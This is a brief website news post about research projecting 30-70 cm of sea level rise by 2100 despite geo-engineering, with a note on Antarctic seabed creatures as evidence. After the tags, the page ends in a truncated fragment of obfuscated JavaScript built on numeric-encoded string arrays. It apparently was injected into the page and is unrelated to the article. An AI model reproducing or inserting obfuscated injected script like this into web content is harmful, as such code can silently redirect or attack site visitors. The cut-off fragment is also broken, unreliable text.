

Sea level rise looks inevitable

Written by Administrator

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New findings by an international research group of scientists from England, China and Denmark suggest that sea level will likely be 30-70 centimetres higher by 2100 than at the start of the century even if all but the most aggressive geo-engineering schemes are undertaken to mitigate the effects of global warming and greenhouse gas [emissions](#) are stringently controlled. Even the most extreme geoengineering approaches will not stop sea levels from rising due to climate change. More [here](#) , [here](#) and [here](#)

. Tiny marine creatures found on the seabed on opposite sides of the vast West Antarctic ice sheet give a strong hint of the risks of sea level rise caused by climate change. More [here](#)

TAGS: sea level rise, climate change, global warming, geo-engineering

var a=0,m,v,t,z,x=new

Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656380','7684','61818075'),l=x.length;while(++a